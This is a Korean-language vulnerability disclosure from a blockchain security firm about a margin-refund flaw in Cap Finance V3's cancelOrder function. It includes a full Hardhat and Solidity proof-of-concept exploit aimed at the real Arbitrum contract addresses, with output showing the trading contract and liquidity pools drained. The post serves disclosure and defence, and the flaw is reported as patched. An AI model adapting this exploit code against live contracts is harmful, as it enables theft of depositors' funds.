Patch Thursday — Cap Finance V3 취약점 공개
요약
이번 Patch Thursday에서는, 아비트럼(Arbitrum) 기반의 탈중앙 거래소(DEX ﹒ Decentralized Exchange)인 Cap Finance(Cap Finance)에서 발생한 취약점을 공개하고, 이를 통해 탈중앙 선물 거래소를 설계할 때 일어날 수 있는 문제와 개선 방법에 대해 다룹니다.
비하인드 스토리
이번 Patch Thursday에는 슬픈 뒷이야기가 있습니다.
2022년 2월, ChainLight는 Cap Finance 측에 발생할 수 있는 위협과 함께 취약점을 제보했습니다. 하지만 취약점을 패치(Patch)한 이후, Cap Finance 측은 보상금(bounty) 지급을 미뤘고, 버그 바운티(Bug Bounty) 프로그램 주최 측인 이뮨파이(Immunefi)와 저희 팀의 중재 절차 참여 연락에도 응답하지 않았습니다.
심지어 보상금을 약 2억 5천만 원($200K)에서 약 3천만 원($25K)으로 줄이기까지 했습니다. Cap Finance는 사용자 커뮤니티의 집단 지성과 자신들의 모니터링(monitoring) 도구를 이용해 컨트랙트를 정지하고(컨트랙트에는 정지 기능이 없었습니다) 공격을 멈출 수 있다며 강하게 주장했지만, 저희는 이에 전혀 동의하지 못했습니다. 저희는 커뮤니티에 트랜잭션과 컨트랙트를 분석할 만큼 숙련된 보안 연구원들이 있는지 의구심을 표출했지만, 의견은 받아들여지지 않았습니다.
저희는 Cap Finance 측이 당시의 모니터링 도구와 커뮤니티의 집단 지성을 통해, 존재하고 있던 취약점을 통한 공격을 파악했을 가능성이 매우 낮았으리라 생각합니다.
또한, Cap Finance 팀이 저희의 취약점 보고서를 대했던 방식은 매우 비전문적이었습니다. 그들은 버그 바운티 관련 담당자로 비기술직 직원을 배정했고, 취약점 관련 의견 교류 중 해당 직원이 서비스에 직접 취약점이 동작하는지 시험해 보는 과정에서 저희가 제공한 공격 예시 코드를 메인넷에 실행해 하마터면 취약점을 유출할 뻔하기도 했습니다(취약점이 유출될 시 취약점 패치 이전이기 때문에 외부 사용자가 취약점을 악용할 수 있는 위험이 높습니다).
프로젝트 측은 취약점 보고서를 공정하게 평가하지 않았고, 이어 버그 바운티 프로그램에서 치명적인(Critical) 취약점을 찾았을 때 지급하기로 한 최소 보상금 지급마저 거부했습니다. 프로젝트 측은 저희가 보고한 취약점을 패치했지만, 저희의 공로를 인정하지 않았고 보상금 지급도 이루어지지 않았습니다.
Cap Finance 측은, 성숙하지 못한 대처로 인해 결국 이뮨파이의 버그 바운티 프로그램에서 영구적으로 퇴출되었습니다.
“무지는 지식보다 더 확신을 가지게 한다” — 찰스 다윈
웹3의 평화를 위해, 저희는 해야할 일을 함에 있어 주저하지 않습니다. 장애물이 있다고 하더라도, 저희는 웹3 생태계를 지키기 위한 사명을 이어갈 것입니다.
Cap Finance의 특이한 거래 구조
취약점 기술에 앞서, 독자분들의 이해를 돕기 위해 Cap Finance의 거래 구조에 대해 간략히 설명드리겠습니다.
Cap Finance의 구조는 다소 특이합니다. GMX의 구조와 유사하지만 단순하고, 거래자에게 더 위험합니다. Cap Finance의 선물 거래에서 거래의 상대방은 반대 포지션(position)을 개설하고 있는 다른 거래자가 아니라, ‘Dark Oracle’이라고 명명된 대체 오라클입니다. Dark Oracle은 현재 시장가에 스프레드(spread)를 더하고, 거래를 ‘실행’하는 단순한 동작을 합니다.
오라클의 오프체인(off-chain) 관련 소스 코드가 공개되어 있지 않았습니다. 따라서 Dark Oracle의 운영자가 모든 유저의 자산을 러그풀(rug pull)할 수 있는 중앙화의 위험도 있었습니다. Dark Oracle을 사용하는 이유는, 체인링크(Chainlink)로부터 가져온 가격이 그들의 업데이트 간격에 의해 지연과 불편함을 야기할 수 있었기 때문입니다.
수익 / 손실 정산 방법
풀(pool)에는 자산을 예치한 유동성 공급자(LP ﹒ Liquidity Provider)가 존재합니다. 거래자의 손실로 인해 발생한 모든 수익은 유동성 공급자에게 돌아가고, 거래자의 수익은 풀에서 빠져나갑니다. 이러한 방식은 자신들의 포지션을 헤지(hedge)하려는 거래자에게 상당한 거래상대방 위험(counterparty risk)을 가중합니다.
Cap Finance 취약점 상세
Cap Finance V3에는 두 종류의 주문이 있는데, 엔트리 주문(Entry orders)과 리듀스-온리 주문(Reduce-Only orders)이 있습니다.
엔트리 주문
리듀스-온리 주문
엔트리 주문은 포지션의 크기와 레버리지(leverage)에 일치하는 만큼의 담보를 필요로 합니다. 리듀스-온리 주문의 경우, 이미 존재하는 포지션을 닫는 것에 관여하기 때문에 담보를 필요로 하지 않습니다. 또한 채워지지 않은 주문이 취소되는 경우, 통상적으로 유저는 담보를 돌려받습니다.
하지만, Cap Finance는 엔트리 주문과 리듀스-온리 주문의 취소를 구분짓지 않은 취약점이 존재했습니다. 만약 한 유저가 리듀스-온리 주문을 취소하면, 예치한 적이 없는 담보를 수령할 수 있었습니다. 이 취약점을 악용한 공격을 반복하면 Trading Contract에 존재하는 모든 자산이 탈취되는 결과를 낳을 수 있고, 유저들에게 막대한 손실을 입히게 됩니다.
이 취약점을 악용하여 Cap Finance의 풀로부터 직접 자산 탈취는 불가능하지만, 다른 방법을 사용하면 가능합니다. 하기의 절차는, 풀로부터 자산을 훔치는 저희가 찾은 방법입니다.
Trading Contract를 공격한다.
돈을 들이지 않고 매수(Long) 포지션과 매도(Short) 포지션을 동시에 개설한다.
둘 중 수익이 나는 포지션을 청산하고, 포지션 개설 후 가격 변동 발생 시 수익을 정산한다.
이 취약점은 굉장히 심각한 문제였습니다. 공격자가 이를 악용해 Trading Contract에서 모든 자산을 즉시 탈취할 수 있는 것은 물론이고, 시간이 지나면 Pool Contract 내의 자산까지 탈취할 수 있었기 때문입니다.
스마트 컨트랙트 취약점 상세
Trading Contract의cancelOrder
함수는 주문을 취소하고 유저에게 증거금(margin)과 수수료를 환불해 주는 동작을 수행합니다. 이 함수에서 개시 주문(submitOrder
)과 마감 주문(submitCloseOrder
)를 구분 짓지 않은 것이 취약점입니다. 또한 유저는 마감 주문에 대한 수수료만 지불하면 되도록 구현되어있습니다.
// Cap/protocol/contracts/Trading.sol:L280
function cancelOrder(
bytes32 productId,
address currency,
bool isLong
) external {
bytes32 key = _getPositionKey(msg.sender, productId, currency, isLong);
Order memory order = orders[key];
require(order.size > 0, "!exists");
Product memory product = products[productId];
uint256 fee = order.size * product.fee / 10**6;
_updateOpenInterest(currency, order.size, true);
delete orders[key];
// Refund margin + fee
uint256 marginPlusFee = order.margin + fee;
_transferOut(currency, msg.sender, marginPlusFee);
}
따라서 공격자는 낮은 레버리지(leverage)의 포지션을 개시하고, 마감 주문 제출 직후 그 주문을 취소해 증거금을 환불받을 수 있습니다.
또한, 공격자는 Trading Contract의 자금을 탈취하기 위해 반복적으로 마감 주문을 제출하고 취소할 수 있습니다.
이러한 동작은 공격자가 증거금 없이 포지션을 유지할 수 있도록 허용하기 때문에, 무위험으로 큰 포지션을 개설하는 데에 악용될 수 있습니다.
그리고 Cap Finance에서의 동작으로 인해 포지션이 수익 구간에 들어가게 되면, 공격자는 무담보 포지션의 이익 실현을 통해 Pool Contract의 자산을 탈취할 수 있습니다.
하기의 PoC(Proof of Concept ﹒ 개념증명)는 Trading Contract와 Pool Contract 내 모든 자금을 탈취하는 두 공격 사례를 모두 보여줍니다.
Proof of Concept(PoC) / 취약점 재현 과정
테스트는 하드햇(Hardhat)으로 수행되었습니다.
const { ethers } = require("hardhat");
let ETH = "0x0000000000000000000000000000000000000000";
let ETHUSD = "0x4554482d55534400000000000000000000000000000000000000000000000000";
let accounts;
let signer;
let trading;
let ethPool;
let usdcPool;
let usdc;
let oracle;
let ethPrice = 313624768663;
describe("PoC", function () {
this.timeout("200000");
async function get_USDC(account, amount) {
// get from random address to simplify PoC
let USDC_holder = "0xCe2CC46682E9C6D5f174aF598fb4931a9c0bE68e";
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [USDC_holder]
});
let _usdc = usdc.connect(await ethers.provider.getSigner(USDC_holder));
await _usdc.transfer(account, amount);
await hre.network.provider.request({
method: "hardhat_stopImpersonatingAccount",
params: [USDC_holder]
});
}
async function settleOrder(user, productId, currency, direction) {
console.log("simulating order settlement by a dark oracle");
let dark_oracle = "0x17f81a65F922dC0e50Fc4375E33A36Cb8089850c";
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [dark_oracle]
});
let _oracle = oracle.connect(await ethers.provider.getSigner(dark_oracle));
await _oracle.settleOrders(
[user],
[productId],
[currency],
[direction],
[ethPrice],
);
await hre.network.provider.request({
method: "hardhat_stopImpersonatingAccount",
params: [dark_oracle]
});
}
before(async () => {
accounts = await web3.eth.getAccounts();
signer = await ethers.provider.getSigner(accounts[0]);
trading = await hre.ethers.getVerifiedContractAt(
"0xCAEc650502F15c1a6bFf1C2288fC8F819776B2eC"
);
ethPool = await hre.ethers.getVerifiedContractAt(
"0xE0cCd451BB57851c1B2172c07d8b4A7c6952a54e"
);
usdcPool = await hre.ethers.getVerifiedContractAt(
"0x958cc92297e6F087f41A86125BA8E121F0FbEcF2"
);
oracle = await hre.ethers.getVerifiedContractAt(
"0xE195a15533c01c8cD6b28f09066842486f80F8f2"
);
usdc = await ((await hre.ethers.getVerifiedContractAt(
// impl
"0x1eFB3f88Bc88f03FD1804A5C53b7141bbEf5dED8"
)).attach(
// proxy
"0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8"
));
await get_USDC(accounts[0], "3000000000000");
});
it("Exploit 1 - Draining trading contract", async function () {
let attackerInitialBalance = await ethers.provider.getBalance(accounts[0]);
let attackerInitialBalanceUSDC = await usdc.balanceOf(accounts[0]);
let tradingContractInitialBalance = await ethers.provider.getBalance(trading.address);
let tradingContractInitialBalanceUSDC = await usdc.balanceOf(trading.address);
console.log('attacker Initial Balance (ETH): ' + ethers.utils.formatEther(attackerInitialBalance));
console.log('attacker Initial Balance (USDC): ' + attackerInitialBalanceUSDC.div(10 ** 6));
console.log('tradingContract Initial Balance (ETH): ' + ethers.utils.formatEther(tradingContractInitialBalance));
console.log('tradingContract Initial Balance (USDC): ' + tradingContractInitialBalanceUSDC.div(10 ** 6));
const Exploit = artifacts.require("Exploit");
let exploit = await Exploit.new(ETHUSD);
await signer.sendTransaction({to: exploit.address, value: tradingContractInitialBalance});
await usdc.transfer(exploit.address, tradingContractInitialBalanceUSDC);
await exploit.ETH_submitOrder();
await settleOrder(exploit.address, ETHUSD, ETH, true);
await exploit.ETH_submitCloseOrderAndCancel();
await exploit.ETH_submitCloseOrderAndCancel();
await exploit.USDC_submitOrder();
await settleOrder(exploit.address, ETHUSD, usdc.address, true);
await exploit.USDC_submitCloseOrderAndCancel();
await exploit.USDC_submitCloseOrderAndCancel();
await exploit.cleanup();
let attackerBalance = await ethers.provider.getBalance(accounts[0]);
let attackerBalanceUSDC = await usdc.balanceOf(accounts[0]);
let tradingContractBalance = await ethers.provider.getBalance(trading.address);
let tradingContractBalanceUSDC = await usdc.balanceOf(trading.address);
console.log('attacker Balance (ETH): ' + ethers.utils.formatEther(attackerBalance));
console.log('attacker Balance (USDC): ' + attackerBalanceUSDC.div(10 ** 6));
console.log('tradingContract Balance (ETH): ' + ethers.utils.formatEther(tradingContractBalance));
console.log('tradingContract Balance (USDC): ' + tradingContractBalanceUSDC.div(10 ** 6));
// reset (return ETH to the contract)
await signer.sendTransaction({to: trading.address, value: tradingContractInitialBalance});
await usdc.transfer(trading.address, tradingContractInitialBalanceUSDC);
});
it("Exploit 2 - Draining pools (ETH, USDC)", async function () {
console.log('Using ETH price $' + (ethPrice / (100000000)));
let attackerInitialBalance = await ethers.provider.getBalance(accounts[0]);
let attackerInitialBalanceUSDC = await usdc.balanceOf(accounts[0]);
let ethPoolInitialBalance = await ethers.provider.getBalance(ethPool.address);
let usdcPoolInitialBalance = await usdc.balanceOf(usdcPool.address);
console.log('attacker Initial Balance (ETH): ' + ethers.utils.formatEther(attackerInitialBalance));
console.log('attacker Initial Balance (USDC): ' + attackerInitialBalanceUSDC.div(10 ** 6));
console.log('ethPool Initial Balance: ' + ethers.utils.formatEther(ethPoolInitialBalance));
console.log('usdcPool Initial Balance: ' + usdcPoolInitialBalance.div(10 ** 6));
console.log('---');
const Exploit = artifacts.require("Exploit");
let eArr = [];
for (let i = 0; i < 10; i++) {
console.log('Iteration ' + (i+1) + '/10');
let exploit = await Exploit.new(ETHUSD);
await signer.sendTransaction({to: exploit.address, value: ethPoolInitialBalance});
await usdc.transfer(exploit.address, usdcPoolInitialBalance);
await exploit.ETH_submitOrder();
await settleOrder(exploit.address, ETHUSD, ETH, true);
await exploit.ETH_submitCloseOrderAndCancel();
await exploit.USDC_submitOrder();
await settleOrder(exploit.address, ETHUSD, usdc.address, true);
await exploit.USDC_submitCloseOrderAndCancel();
await exploit.sweep();
eArr.push(exploit);
}
console.log('---');
console.log('Attacker is holding large ETHUSD long positions without posting any collateral');
let attackerBalance = await ethers.provider.getBalance(accounts[0]);
let attackerBalanceUSDC = await usdc.balanceOf(accounts[0]);
console.log('attacker Balance (ETH): ' + ethers.utils.formatEther(attackerBalance));
console.log('attacker Balance (USDC): ' + attackerBalanceUSDC.div(10 ** 6));
console.log('---');
await network.provider.send("evm_increaseTime", [86400 * 10]);
ethPrice *= 1.1;
ethPrice = Math.round(ethPrice);
console.log('Assuming ETH price rise to $' + (ethPrice / (100000000)));
console.log('Attacker can close positions to steal from pools');
for (let i = 0; i < 10; i++) {
console.log('Iteration ' + (i+1) + '/10');
let exploit = eArr[i];
await signer.sendTransaction({to: trading.address, value: ethPoolInitialBalance});
await exploit.ETH_submitCloseOrder();
await settleOrder(exploit.address, ETHUSD, ETH, true);
await usdc.transfer(trading.address, usdcPoolInitialBalance);
await exploit.USDC_submitCloseOrder();
await settleOrder(exploit.address, ETHUSD, usdc.address, true);
await exploit.cleanup();
}
console.log('---');
attackerBalance = await ethers.provider.getBalance(accounts[0]);
attackerBalanceUSDC = await usdc.balanceOf(accounts[0]);
let ethPoolBalance = await ethers.provider.getBalance(ethPool.address);
let usdcPoolBalance = await usdc.balanceOf(usdcPool.address);
console.log('attacker Balance (ETH): ' + ethers.utils.formatEther(attackerBalance));
console.log('attacker Balance (USDC): ' + attackerBalanceUSDC.div(10 ** 6));
console.log('ethPool Balance: ' + ethers.utils.formatEther(ethPoolBalance));
console.log('usdcPool Balance: ' + usdcPoolBalance.div(10 ** 6));
});
});
exploit.js hosted with ❤ by GitHub
pragma solidity ^0.8.0;
import "hardhat/console.sol";
interface ITrading {
struct Position {
uint64 size;
uint64 margin;
uint64 timestamp;
uint64 price;
}
function submitOrder(bytes32 productId, address currency, bool isLong, uint256 margin, uint256 size) external payable;
function submitCloseOrder(bytes32 productId, address currency, bool isLong, uint256 size) external payable;
function cancelOrder(bytes32 productId, address currency, bool isLong) external;
function getPosition(
address user,
address currency,
bytes32 productId,
bool isLong
) external view returns (Position memory position);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract Exploit {
address payable internal owner;
ITrading internal trading = ITrading(0xCAEc650502F15c1a6bFf1C2288fC8F819776B2eC);
IERC20 internal usdc = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
bytes32 internal productId;
constructor(bytes32 _productId) {
owner = payable(msg.sender);
productId = _productId;
usdc.approve(address(trading), type(uint256).max);
}
function ETH_submitOrder() external {
console.log("exploit.ETH_submitOrder();");
uint256 posSize = address(this).balance / (10**10);
trading.submitOrder{value: address(this).balance}(
productId,
address(0),
true,
0,
posSize
);
}
function ETH_submitCloseOrder() public {
console.log("exploit.ETH_submitCloseOrder();");
uint256 posSize = trading.getPosition(address(this), address(0), productId, true).size;
trading.submitCloseOrder(productId, address(0), true, posSize);
}
function ETH_submitCloseOrderAndCancel() external {
console.log("exploit.ETH_submitCloseOrderAndCancel();");
ETH_submitCloseOrder();
trading.cancelOrder(productId, address(0), true);
}
function USDC_submitOrder() external {
console.log("exploit.USDC_submitOrder();");
uint256 posSize = usdc.balanceOf(address(this)) * 100;
trading.submitOrder(
productId,
address(usdc),
true,
posSize,
posSize
);
}
function USDC_submitCloseOrder() public {
console.log("exploit.USDC_submitCloseOrder();");
uint256 posSize = trading.getPosition(address(this), address(usdc), productId, true).size;
trading.submitCloseOrder(productId, address(usdc), true, posSize);
}
function USDC_submitCloseOrderAndCancel() external {
console.log("exploit.USDC_submitCloseOrderAndCancel();");
USDC_submitCloseOrder();
trading.cancelOrder(productId, address(usdc), true);
}
function sweep() external {
usdc.transfer(owner, usdc.balanceOf(address(this)));
owner.transfer(address(this).balance);
}
function cleanup() external {
usdc.transfer(owner, usdc.balanceOf(address(this)));
selfdestruct(owner);
}
receive() external payable {}
}
exploit.sol hosted with ❤ by GitHub
PoC
attacker Initial Balance (ETH): 10000.0
attacker Initial Balance (USDC): 3000000
tradingContract Initial Balance (ETH): 188.08071401904823982
tradingContract Initial Balance (USDC): 112491
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
attacker Balance (ETH): 10188.077143966395436146
attacker Balance (USDC): 3112491
tradingContract Balance (ETH): 0.00000001809647964
tradingContract Balance (USDC): 0
✓ Exploit 1 - Draining trading contract (22944ms)
Using ETH price $3136.24768663
attacker Initial Balance (ETH): 9999.996329249706607679
attacker Initial Balance (USDC): 3000000
ethPool Initial Balance: 1260.947984047010298278
usdcPool Initial Balance: 1701180
---
Iteration 1/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 2/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 3/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 4/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 5/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 6/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 7/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 8/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 9/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
Iteration 10/10
exploit.ETH_submitOrder();
simulating order settlement by a dark oracle
exploit.ETH_submitCloseOrderAndCancel();
exploit.ETH_submitCloseOrder();
exploit.USDC_submitOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrderAndCancel();
exploit.USDC_submitCloseOrder();
---
Attacker is holding large ETHUSD long positions without posting any collateral
attacker Balance (ETH): 9999.976822209198769148
attacker Balance (USDC): 3000000
---
Assuming ETH price rise to $3449.87245529
Attacker can close positions to steal from pools
Iteration 1/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 2/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 3/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 4/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 5/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 6/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 7/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 8/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 9/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
Iteration 10/10
exploit.ETH_submitCloseOrder();
simulating order settlement by a dark oracle
exploit.USDC_submitCloseOrder();
simulating order settlement by a dark oracle
---
attacker Balance (ETH): 11260.922130988999802832
attacker Balance (USDC): 4701180
ethPool Balance: 0.000000547010298278
usdcPool Balance: 0
✓ Exploit 2 - Draining pools (ETH, USDC) (45985ms)
2 passing (1m)
output.md hosted with ❤ by GitHub
PoC를 동작하게 하기 위해서는
hardhat-etherscan-abi
가 아비트럼을 지원하도록 일부 수정해야합니다.
취약점 영향
취약점 보고서 제출 시점인 2022년 2월 8일 기준, Cap Finance의 예치금(TVL ﹒ Total Value Locked)은 약 80억 원입니다. (출처: 디파이라마 — DefiLlama)
Trading Contract의 자금 탈취
Pool Contract의 자금 탈취
권고 사항
cancelOrder
함수에서 order.isClose
가 검사되어야 합니다.
참고 자료
✨ We are ChainLight!
ChainLight 팀은 풍부한 실전 경험과 깊은 기술 이해를 바탕으로 새롭고 효과적인 블록체인 보안 기술을 연구합니다. 연구 결과를 바탕으로 Web3 생태계의 각종 보안 위험 요소와 취약점을 사전 파악하여 제거하는 혁신적인 보안 감사 서비스를 제공합니다. 보안 감사 이후에도 온체인 데이터 모니터링 및 취약점 탐지 자동화 서비스를 이용한 지속적인 디지털 자산 위험 관리 솔루션을 제공합니다.
ChainLight 팀은 사용자들이 탈중앙화 서비스를 안전하게 활용할 수 있도록 Web3 생태계 위협으로부터의 보호에 힘쓰고 있습니다.
ChainLight의 더 다양한 정보를 보고 싶으시다면? 👉 Twitter 계정도 방문해 주세요.
🌐 Website: chainlight.io | 📩 TG: @chainlight | 📧 chainlight@theori.io
Originally published at https://blog.theori.io on October 16, 2023.